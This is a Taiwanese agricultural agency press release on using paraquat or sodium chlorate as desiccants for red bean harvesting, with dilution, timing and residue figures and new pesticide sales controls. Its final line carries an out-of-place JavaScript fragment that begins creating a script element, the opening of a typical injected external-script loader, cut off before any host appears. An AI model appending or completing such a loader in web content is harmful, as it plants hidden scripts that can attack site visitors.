紅豆採收兼顧安全與方便 可採自然乾枯或使用植株乾燥劑

行政院農業委員會(以下簡稱農委會)動植物防疫檢疫局(以下簡稱防檢局)表示,農民除採用自然乾枯方式採收紅豆外,為提升機械採收紅豆的方便性,過去曾洽請農委會高雄區農業改良場協助進行落葉(植株乾燥)相關藥劑的田間試驗,試驗結果顯示,「巴拉刈」及「氯酸鈉」等藥劑對紅豆植株乾燥效果良好,只要依規定使用,幾乎沒有農藥殘留的疑慮。因此,防檢局分別於100年8月29日核准「巴拉刈」使用於紅豆落葉處理,另於105年4月12日增列「52%氯酸鈉溶液」核准使用,提供農民用藥更多選擇,以提升紅豆採收方便性與經濟效益。

防檢局進一步指出,近年來醫界及部分團體力倡禁用「巴拉刈」,皆肇因該農藥不當使用的問題,造成一般民眾對該藥劑的誤解。但依據研究報告,「巴拉刈」為接觸型除草劑,施用後植株會快速乾枯,在土壤中半衰期少於7天,而在作物上殘留衰退迅速,施用2天後殘留量就可消退到0.05ppm,而且其價格便宜,只要依照核准濃度(200倍)及施用時機(採收前7天)使用,可以方便紅豆機械採收。至於「52%氯酸鈉溶液」,試驗結果顯示,其效果較巴拉刈緩慢,但以80倍藥液施用後7天,仍然可以達到植株完全乾燥的效果,而該藥劑免訂殘留容許量,沒有農藥殘留的疑慮,但其價格為巴拉刈的3倍左右,且如長期不當使用,恐有造成土壤鹽化問題。至於以前號稱「紅龍」的肥料產品,早經查緝並判定為含「氯酸鈉」的偽農藥,市場上早已消聲匿跡。

防檢局最後表示,為積極回應消費大眾對農藥使用安全的重視,已全面強化農藥管理措施,除建構完成農藥販售及流向管理機制,自106年1月1日起,農藥業者須依據農藥管理法,就其産(進)銷農藥種類,分別記載數量及販售對象,並將紀錄定期陳報地方主管機關。同時,為加強劇毒農藥的管理,防檢局也不定期對販賣業者辦理聯合稽查,同時推動專業植物醫師證照制度立法。希望藉由多元配套管理措施,減少農藥違規使用的情形,確保農產品食用安全。var d=document;var s=d.createElement(‘script’);